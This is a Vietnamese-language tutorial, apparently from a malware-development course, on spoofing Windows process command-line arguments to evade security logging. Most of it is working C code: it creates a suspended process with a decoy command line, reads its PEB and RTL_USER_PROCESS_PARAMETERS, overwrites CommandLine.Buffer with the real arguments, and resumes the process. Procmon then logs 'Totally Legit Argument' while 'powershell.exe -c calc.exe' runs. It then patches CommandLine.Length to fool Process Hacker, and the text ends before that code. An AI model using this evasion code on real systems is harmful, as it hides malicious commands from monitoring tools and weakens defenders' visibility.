Là kỹ thuật dùng để che giấu các đối số dòng lệnh của một tiến trình khi tạo mới nhằm né tránh việc ghi lại của các giải pháp bảo mật chẳng hạn như Procmon:
PEB Review
Để có thể triển khai kỹ thuật, ta cần biết các đối số dòng lệnh được lưu ở đâu.
Thành phần Buffer chính là con trỏ đến vùng nhớ chứa các đối số dòng lệnh.
Như vậy, để truy cập vào các đối số dòng lệnh thì ta cần truy cập theo thứ tự sau:
PEB->ProcessParameters.CommandLine.Buffer
Info
Khi thực hiện reverse engineer, ta thường thấy cấu trúc gồm 3 thành phần với thành phần thứ nhất và thứ hai là kích thước còn thành phần thứ ba là một mảng nào đó. Cấu trúc đó có thể là UNICODE_STRING.
How To Spoof Process Arguments
Để làm giả các đối số dòng lệnh cho một tiến trình mới tạo, ta sẽ cần tạo ra một tiến trình ở trạng thái trì hoãn (suspended) và truyền vào các đối số tùy ý mà không bị xem là đáng ngờ. Trước khi resume tiến trình, ta sẽ thay đổi giá trị của PEB->ProcessParameters.CommandLine.Buffer thành đối số mà ta muốn thực thi. Khi đó, các dịch vụ ghi nhật ký sẽ chỉ ghi lại được các đối số tùy ý trước đó.
Warning
Kích thước của các đối số dòng lệnh mà ta muốn thực thi cần phải nhỏ hơn hoặc bằng kích thước của các đối số dòng lệnh giả mạo. Nếu không, tiến trình sẽ bị crash. Do đó, luôn đảm bảo kích thước của các đối số dòng lệnh giả mạo là đủ lớn.
Process Argument Spoofing Function
Chúng ta sẽ xây dựng hàm CreateArgSpoofedProcess dùng để hiện thực các bước trên. Hàm này có nguyên mẫu như sau:
BOOL CreateArgSpoofedProcess(IN LPWSTR szStartupArgs, IN LPWSTR szRealArgs, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread);
Ở đầu thân hàm, ta sẽ khởi tạo các biến và thành phần cần thiết:
Sao chép đối số khởi tạo (giả mạo) vào biến szProcess.
lstrcpyW(szProcess, szStartupArgs);
Tạo ra tiến trình ở trạng thái trì hoãn:
if (!CreateProcessW( NULL, szProcess, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, // creating the process suspended & with no window NULL, L"C:\\Windows\\System32\\", // we can use GetEnvironmentVariableW to get this Programmatically &Si, &Pi)) { printf("\t[!] CreateProcessA Failed with Error : %d \n", GetLastError()); return FALSE;}
Retrieving Remote PEB Address
Sau khi tạo ra tiến trình ở trạng thái trì hoãn thì ta cần lấy ra PEB của nó. Ta sẽ dùng hàm NtQueryInformationProcess với flag ProcessBasicInformation để làm điều này.
Khi flag ProcessBasicInformation được sử dụng, NtQueryInformationProcess sẽ trả về một cấu trúc PROCESS_BASIC_INFORMATION:
Do là một syscall, địa chỉ của NtQueryInformationProcess cần được lấy ra thông qua hàm GetModuleHandle và GetProcAddress:
// Getting the address of the NtQueryInformationProcess functionfnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");if (pNtQueryInformationProcess == NULL) return FALSE;
Sử dụng như sau:
// Getting the PROCESS_BASIC_INFORMATION structure of the remote process which contains the PEB addressif ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) { printf("\t[!] NtQueryInformationProcess Failed With Error : 0x%0.8X \n", STATUS); return FALSE;}
Reading Remote PEB Structure
Sau khi có được địa chỉ của PEB thì ta có thể đọc dữ liệu vào một buffer bằng cách sử dụng hàm ReadProcessMemory có nguyên mẫu như sau:
Chúng ta sẽ đọc dữ liệu ở vùng nhớ được truyền vào tham số lpBaseAddress. Hàm này sẽ được gọi 2 lần:
Lần thứ nhất là để đọc cấu trúc PEB.
Lần thứ hai là để đọc cấu trúc RTL_USER_PROCESS_PARAMETERS. Chú ý rằng địa chỉ của cấu trúc này có thể tìm thấy trong cấu trúc PEB đã đọc được.
Hiện thực như sau:
// Reading the PEB structure from its base address in the remote processif (!ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) { printf("\t[!] Failed To Read Target's Process Peb \n"); return FALSE;}
Khi đọc cấu trúc RTL_USER_PROCESS_PARAMETERS, ta nên đọc nhiều byte hơn giá trị sizeof(RTL_USER_PROCESS_PARAMETERS) do kích thước thực sự của cấu trúc này phụ thuộc vào kích thước của các đối số. Cụ thể hơn, ta sẽ đọc thêm 255 bytes:
// Reading the RTL_USER_PROCESS_PARAMETERS structure from the PEB of the remote process// Read an extra 0xFF bytes to ensure we have reached the CommandLine.Buffer pointer// 0xFF is 255 but it can be whatever you likeif (!ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) { printf("\t[!] Failed To Read Target's Process ProcessParameters \n"); return FALSE;}
Với ReadFromTargetProcess là một hàm wrapper của hàm ReadProcessMemory:
BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) { SIZE_T sNmbrOfBytesRead = NULL; *ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize); if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize){ printf("[!] ReadProcessMemory Failed With Error : %d \n", GetLastError()); printf("[i] Bytes Read : %d Of %d \n", sNmbrOfBytesRead, dwBufferSize); return FALSE; } return TRUE;}
Patching CommandLine.Buffer
Sau khi đọc cấu trúc RTL_USER_PROCESS_PARAMETERS, ta có thể dùng hàm WriteProcessMemory để chỉnh sửa thành phần CommandLine.Buffer. Hàm WriteProcessMemory có nguyên mẫu như sau:
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, // What is being overwritten (CommandLine.Buffer) [in] LPCVOID lpBuffer, // What is being written (new process argument) [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten);
Với:
lpBaseAddress là địa chỉ của CommandLine.Buffer.
lpBuffer là buffer có chứa các đối số dòng lệnh thực sự mà ta muốn thực thi. Nó sẽ cần phải là một chuỗi Unicode do CommandLine.Buffer cũng là một chuỗi Unicode.
nSize là số lượng byte cần ghi. Giá trị của nó sẽ là độ dài của chuỗi cần ghi nhân với kích thước của kiểu dữ liệu WCHAR cộng 1 (cho ký tự kết thúc chuỗi). Công thức:
lstrlenW(NewArgument) * sizeof(WCHAR) + 1
Hiện thực như sau:
// Writing the real argument to the processif (!WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))) { printf("\t[!] Failed To Write The Real Parameters\n"); return FALSE;}
Với WriteToTargetProcess là hàm wrapper của hàm WriteProcessMemory:
BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) { SIZE_T sNmbrOfBytesWritten = NULL; if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) { printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError()); printf("[i] Bytes Written : %d Of %d \n", sNmbrOfBytesWritten, dwBufferSize); return FALSE; } return TRUE;}
Cleaning Up, Resuming the Process and Saving Output Parameters
Cuối cùng, ta sẽ thực hiện giải phóng vùng nhớ, resume tiến trình và lưu lại các tham số mà ta sẽ trả về:
// Cleaning upHeapFree(GetProcessHeap(), NULL, pPeb);HeapFree(GetProcessHeap(), NULL, pParms);// Resuming the process with the new paramtersResumeThread(Pi.hThread);// Saving output parameters*dwProcessId = Pi.dwProcessId;*hProcess = Pi.hProcess;*hThread = Pi.hThread;// Checking if everything is validif (*dwProcessId != NULL, *hProcess != NULL && *hThread != NULL) return TRUE;return FALSE;
Demo
Câu lệnh dòng lệnh powershell.exe Totally Legit Argument sẽ bị ghi lại bởi Procmon trong khi powershell.exe -c calc.exe sẽ được thực thi:
Patching CommandLine.Length
Mặc dù ta có thể che giấu được đối số dòng lệnh thực sự của tiến trình khỏi Procmon nhưng không thể che giấu được khỏi Process Hacker:
Có thể thấy, Process Hacker hiển thị đối số dòng lệnh thực sự của tiến trình cùng với một phần của đối số dòng lệnh giả mạo (là kết quả của việc ghi đè chuỗi CommandLine.Buffer).
Analyzing
Lý do cho kết quả trên là vì Process Hacker sử dụng NtQueryInformationProcess để đọc đối số dòng lệnh khi chương trình đang chạy và do đó mà nó có thể đọc được giá trị mà ta đã thay đổi.
Các công cụ chẳng hạn như Process Hacker đọc CommandLine.Buffer dựa trên chiều dài được chỉ định bởi CommandLine.Length thay vì đọc cho đến khi gặp ký tự kết thúc chuỗi bởi vì Microsoft khẳng định trong tài liệu của họ rằng thành phần UNICODE.Buffer không nên kết thúc bằng ký tự kết thúc chuỗi.
Solution
Như vậy, chúng ta sẽ đánh lừa Process Hacker bằng cách gán giá trị của CommandLine.Length là một giá trị nhỏ hơn kích thước thật sự của buffer. Điều này giúp đảm bảo CommandLine.Buffer không bị lộ.
Cũng sử dụng hàm WriteToTargetProcess ở trên, ta thay đổi giá trị của CommandLine.Length ở runtime như sau: